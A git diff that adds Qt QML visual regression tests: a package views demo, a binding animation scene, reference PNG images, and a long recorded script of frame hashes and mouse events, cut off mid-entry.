diff --git a/tests/auto/declarative/qmlvisual/Package_Views/packageviews.qml b/tests/auto/declarative/qmlvisual/Package_Views/packageviews.qml new file mode 100644 index 0000000..f6c033f --- /dev/null +++ b/tests/auto/declarative/qmlvisual/Package_Views/packageviews.qml @@ -0,0 +1,89 @@ +import Qt 4.6 + +Rectangle { + id: root + width: 200 + height: 200 + color: "black" + + VisualDataModel { + id: model + model: ListModel { + ListElement { itemColor: "red" } + ListElement { itemColor: "green" } + ListElement { itemColor: "blue" } + ListElement { itemColor: "orange" } + ListElement { itemColor: "purple" } + ListElement { itemColor: "yellow" } + ListElement { itemColor: "slategrey" } + ListElement { itemColor: "cyan" } + ListElement { itemColor: "red" } + ListElement { itemColor: "green" } + ListElement { itemColor: "blue" } + ListElement { itemColor: "orange" } + ListElement { itemColor: "purple" } + ListElement { itemColor: "yellow" } + ListElement { itemColor: "slategrey" } + ListElement { itemColor: "cyan" } + } + delegate: Package { + Rectangle { + id: listItem; Package.name: "list"; width:root.width/2; height: 50; color: "transparent"; border.color: "white" + MouseArea { + anchors.fill: parent + onClicked: myState.state = myState.state == "list" ? "grid" : "list" + } + } + Rectangle { + id: gridItem; Package.name: "grid"; width:50; height: 50; color: "transparent"; border.color: "white" + MouseArea { + anchors.fill: parent + onClicked: myState.state = myState.state == "list" ? "grid" : "list" + } + } + Rectangle { id: myContent; width:50; height: 50; color: itemColor } + + StateGroup { + id: myState + state: "list" + states: [ + State { + name: "list" + ParentChange { target: myContent; parent: listItem } + PropertyChanges { target: myContent; x: 0; y: 0; width: listItem.width } + }, + State { + name: "grid" + ParentChange { target: myContent; parent: gridItem } + PropertyChanges { target: myContent; x: 0; y: 0; width: gridItem.width } + } + ] + + transitions: [ + Transition { + from: "*"; to: "*" + SequentialAnimation { + ParentAction{} + NumberAnimation { properties: "x,y,width"; easing.type: "InOutQuad" } + } + } + ] + } + } + } + + ListView { + width: parent.width/2 + height: parent.height + model: model.parts.list + } + + GridView { + x: parent.width/2 + width: parent.width/2 + cellWidth: 50 + cellHeight: 50 + height: parent.height + model: model.parts.grid + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/bindinganimation.qml b/tests/auto/declarative/qmlvisual/animation/bindinganimation/bindinganimation.qml new file mode 100644 index 0000000..70c14cf --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/bindinganimation/bindinganimation.qml @@ -0,0 +1,40 @@ +import Qt 4.6 + +Rectangle { + color: "blue" + width: 320 + height: 240 + id: page + Rectangle { + id: myRectangle + width: 100 + height: 100 + color: "red" + x: 10 + } + states: [ + State { + name: "hello" + PropertyChanges { + target: myRectangle + x: 50 + 50 + } + PropertyChanges { + target: myMouseArea + onClicked: page.state = '' + } + } + ] + transitions: [ + Transition { + NumberAnimation { + properties: "x" + } + } + ] + MouseArea { + id: myMouseArea + anchors.fill: parent + onClicked: { page.state= 'hello' } + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.0.png b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.0.png new file mode 100644 index 0000000..1b08c81 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.0.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.1.png b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.1.png new file mode 100644 index 0000000..f3074fc Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.1.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.2.png b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.2.png new file mode 100644 index 0000000..1b08c81 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.2.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.3.png b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.3.png new file mode 100644 index 0000000..e2560e0 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.3.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.4.png b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.4.png new file mode 100644 index 0000000..2ddde86 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.4.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.5.png b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.5.png new file mode 100644 index 0000000..f3074fc Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.5.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.6.png b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.6.png new file mode 100644 index 0000000..1b08c81 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.6.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.qml b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.qml new file mode 100644 index 0000000..8297c5a --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.qml @@ -0,0 +1,1655 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 32 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 48 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 64 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 80 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 96 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 112 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 128 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 144 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 160 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 176 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 192 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 208 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 224 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 240 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 256 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 272 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 288 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 304 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 320 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 336 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 352 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 368 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 384 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 400 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 416 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 432 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 448 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 464 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 480 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 496 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 512 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 528 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 544 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 560 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 576 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 592 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 608 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 624 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 640 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 656 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 672 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 688 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 704 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 720 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 736 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 752 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 768 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 784 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 800 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 816 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 832 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 848 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 864 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 880 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 896 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 912 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 928 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 944 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 960 + image: "bindinganimation.0.png" + } + Frame { + msec: 976 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 992 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1008 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1024 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1040 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1056 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1072 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1088 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1104 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1120 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1136 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1152 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 136; y: 174 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1168 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1184 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1200 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1216 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1232 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1248 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1264 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1280 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 136; y: 174 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1296 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 1312 + hash: "a78c9394bf3b81f192f42710cd7218b1" + } + Frame { + msec: 1328 + hash: "7f08e8170feb1d02373c9ab42b6e882d" + } + Frame { + msec: 1344 + hash: "967fbad8ac664400a3efbe66617d62aa" + } + Frame { + msec: 1360 + hash: "abc2ec0bc7a93e75b5823310e6284db1" + } + Frame { + msec: 1376 + hash: "afbd5b24e2f86646f5ec2aa22f3a4b5b" + } + Frame { + msec: 1392 + hash: "9413dffb7ee853ba0125ac22ab22abbd" + } + Frame { + msec: 1408 + hash: "fcae0317f81a3ddd713f4db1349a9da0" + } + Frame { + msec: 1424 + hash: "37739777a5979f3ebf85e47e63341660" + } + Frame { + msec: 1440 + hash: "72731478d80f024076ea639b55152360" + } + Frame { + msec: 1456 + hash: "69058485ced6bc992a1a7c5ee34add4c" + } + Frame { + msec: 1472 + hash: "391ad7ff2362e059f6170dfe306f94a7" + } + Frame { + msec: 1488 + hash: "f9f74a2e38b52c9266f33e428b6acd9d" + } + Frame { + msec: 1504 + hash: "25152412c4ea2aec6caf89486c073484" + } + Frame { + msec: 1520 + hash: "ba403842ba3128b1cdf6a9cb28c90751" + } + Frame { + msec: 1536 + hash: "e90cd68490cf3ce6ef9fe4e8f92feaa9" + } + Frame { + msec: 1552 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1568 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1584 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1600 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1616 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1632 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1648 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1664 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1680 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1696 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1712 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1728 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1744 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1760 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1776 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1792 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1808 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1824 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1840 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1856 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1872 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1888 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1904 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1920 + image: "bindinganimation.1.png" + } + Frame { + msec: 1936 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1952 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1968 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 1984 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2000 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2016 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2032 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2048 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2064 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2080 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2096 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2112 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2128 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2144 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2160 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2176 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2192 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2208 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2224 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2240 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2256 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2272 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2288 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2304 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2320 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2336 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2352 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2368 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 2384 + hash: "adc501a3a2b8aaf72f58ba985b57424e" + } + Frame { + msec: 2400 + hash: "bfa51b7c19753ef7b16d78afffc7b9dd" + } + Frame { + msec: 2416 + hash: "ffa8471f57765b49fcdb9155393251e5" + } + Frame { + msec: 2432 + hash: "ddb65481469c38f2331546ee03a44206" + } + Frame { + msec: 2448 + hash: "6f48d1a9977b77cafd38a5903017605b" + } + Frame { + msec: 2464 + hash: "4279c814163af3bd069ce21b3cd1c729" + } + Frame { + msec: 2480 + hash: "17c46242c17983478f34cb49cb91ca6e" + } + Frame { + msec: 2496 + hash: "42f65c58b1f5f4b5ba70855f4aaa7d2f" + } + Frame { + msec: 2512 + hash: "6a74d6dc91a8b370200d3765c55c1136" + } + Frame { + msec: 2528 + hash: "ecda10356cca33901c2acd0a702fee46" + } + Frame { + msec: 2544 + hash: "4f58226bdbda7339d972eca065f75766" + } + Frame { + msec: 2560 + hash: "a39c80859a7643c9879da9c77b644703" + } + Frame { + msec: 2576 + hash: "16fe17b15900ff0464ab20ea921e5b1f" + } + Frame { + msec: 2592 + hash: "bc5c83b2014b7260900587ae3637598f" + } + Frame { + msec: 2608 + hash: "96c077e3a572edff04fa9b2f7020ffd0" + } + Frame { + msec: 2624 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2640 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2656 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2672 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2688 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2704 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2720 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2736 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2752 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2768 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2784 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2800 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2816 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2832 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2848 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2864 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2880 + image: "bindinganimation.2.png" + } + Frame { + msec: 2896 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2912 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2928 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2944 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2960 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2976 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 2992 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3008 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3024 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3040 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3056 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3072 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3088 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3104 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3120 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3136 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3152 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3168 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3184 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3200 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3216 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3232 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3248 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3264 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3280 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3296 + hash: "7cb5fc371040e587de9f06ce14a4b29a" + } + Frame { + msec: 3312 + hash: "a78c9394bf3b81f192f42710cd7218b1" + } + Frame { + msec: 3328 + hash: "7f08e8170feb1d02373c9ab42b6e882d" + } + Frame { + msec: 3344 + hash: "967fbad8ac664400a3efbe66617d62aa" + } + Frame { + msec: 3360 + hash: "abc2ec0bc7a93e75b5823310e6284db1" + } + Frame { + msec: 3376 + hash: "afbd5b24e2f86646f5ec2aa22f3a4b5b" + } + Frame { + msec: 3392 + hash: "9413dffb7ee853ba0125ac22ab22abbd" + } + Frame { + msec: 3408 + hash: "fcae0317f81a3ddd713f4db1349a9da0" + } + Frame { + msec: 3424 + hash: "37739777a5979f3ebf85e47e63341660" + } + Frame { + msec: 3440 + hash: "72731478d80f024076ea639b55152360" + } + Frame { + msec: 3456 + hash: "69058485ced6bc992a1a7c5ee34add4c" + } + Frame { + msec: 3472 + hash: "391ad7ff2362e059f6170dfe306f94a7" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3488 + hash: "f9f74a2e38b52c9266f33e428b6acd9d" + } + Frame { + msec: 3504 + hash: "25152412c4ea2aec6caf89486c073484" + } + Frame { + msec: 3520 + hash: "ba403842ba3128b1cdf6a9cb28c90751" + } + Frame { + msec: 3536 + hash: "e90cd68490cf3ce6ef9fe4e8f92feaa9" + } + Frame { + msec: 3552 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 3568 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 3584 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 3600 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3616 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 3632 + hash: "adc501a3a2b8aaf72f58ba985b57424e" + } + Frame { + msec: 3648 + hash: "bfa51b7c19753ef7b16d78afffc7b9dd" + } + Frame { + msec: 3664 + hash: "ffa8471f57765b49fcdb9155393251e5" + } + Frame { + msec: 3680 + hash: "ddb65481469c38f2331546ee03a44206" + } + Frame { + msec: 3696 + hash: "6f48d1a9977b77cafd38a5903017605b" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3712 + hash: "4279c814163af3bd069ce21b3cd1c729" + } + Frame { + msec: 3728 + hash: "17c46242c17983478f34cb49cb91ca6e" + } + Frame { + msec: 3744 + hash: "42f65c58b1f5f4b5ba70855f4aaa7d2f" + } + Frame { + msec: 3760 + hash: "6a74d6dc91a8b370200d3765c55c1136" + } + Frame { + msec: 3776 + hash: "ecda10356cca33901c2acd0a702fee46" + } + Frame { + msec: 3792 + hash: "4f58226bdbda7339d972eca065f75766" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3808 + hash: "4f58226bdbda7339d972eca065f75766" + } + Frame { + msec: 3824 + hash: "5fae0bdc65c609cb766ce585b8c649db" + } + Frame { + msec: 3840 + image: "bindinganimation.3.png" + } + Frame { + msec: 3856 + hash: "6a74d6dc91a8b370200d3765c55c1136" + } + Frame { + msec: 3872 + hash: "4f41101378a104e72228eeb4ba395ca8" + } + Frame { + msec: 3888 + hash: "37739777a5979f3ebf85e47e63341660" + } + Frame { + msec: 3904 + hash: "f4fe2cc93d65e086ba8ded1438269eb2" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3920 + hash: "4279c814163af3bd069ce21b3cd1c729" + } + Frame { + msec: 3936 + hash: "72a0c017a2fa90a4aeadfa6e552ff573" + } + Frame { + msec: 3952 + hash: "391ad7ff2362e059f6170dfe306f94a7" + } + Frame { + msec: 3968 + hash: "0b0c6419e1e5b016d9c22bd98fd452b1" + } + Frame { + msec: 3984 + hash: "365c824c330398d267ea52ae9468b9ee" + } + Frame { + msec: 4000 + hash: "65ad7e0189c096792331bd1bb0daf0db" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4016 + hash: "65ad7e0189c096792331bd1bb0daf0db" + } + Frame { + msec: 4032 + hash: "a21aa1984f068650cce2a124a82c12be" + } + Frame { + msec: 4048 + hash: "8006ceaa02d22b5fdfeab400d39a0caf" + } + Frame { + msec: 4064 + hash: "a2cebc35e5c2c709a2cd83e1df6eaeab" + } + Frame { + msec: 4080 + hash: "07f751ea4cf877ba72fbb36f9da268d7" + } + Frame { + msec: 4096 + hash: "72731478d80f024076ea639b55152360" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4112 + hash: "37739777a5979f3ebf85e47e63341660" + } + Frame { + msec: 4128 + hash: "ed47684a0b21836cd27549e0989e96dd" + } + Frame { + msec: 4144 + hash: "772396bb23c713f34ea5c23bfbcb115e" + } + Frame { + msec: 4160 + hash: "d9af30557f99b086bb1a185a946b580d" + } + Frame { + msec: 4176 + hash: "575d30ac088448b01f49082519bbb3a1" + } + Frame { + msec: 4192 + hash: "2e3f134664df8204a291af2c9f81239a" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4208 + hash: "2e3f134664df8204a291af2c9f81239a" + } + Frame { + msec: 4224 + hash: "4f58226bdbda7339d972eca065f75766" + } + Frame { + msec: 4240 + hash: "5fae0bdc65c609cb766ce585b8c649db" + } + Frame { + msec: 4256 + hash: "82363265ed2b611a54f8d48b2af22f11" + } + Frame { + msec: 4272 + hash: "f9deee3a204c939562b896a6179743d2" + } + Frame { + msec: 4288 + hash: "42f65c58b1f5f4b5ba70855f4aaa7d2f" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4304 + hash: "3223ed179c828fadb3eca9c6373176c1" + } + Frame { + msec: 4320 + hash: "56125a260a79bc38bb0ef44fd65ba49b" + } + Frame { + msec: 4336 + hash: "07f751ea4cf877ba72fbb36f9da268d7" + } + Frame { + msec: 4352 + hash: "6f48d1a9977b77cafd38a5903017605b" + } + Frame { + msec: 4368 + hash: "8006ceaa02d22b5fdfeab400d39a0caf" + } + Mouse { + type: 3 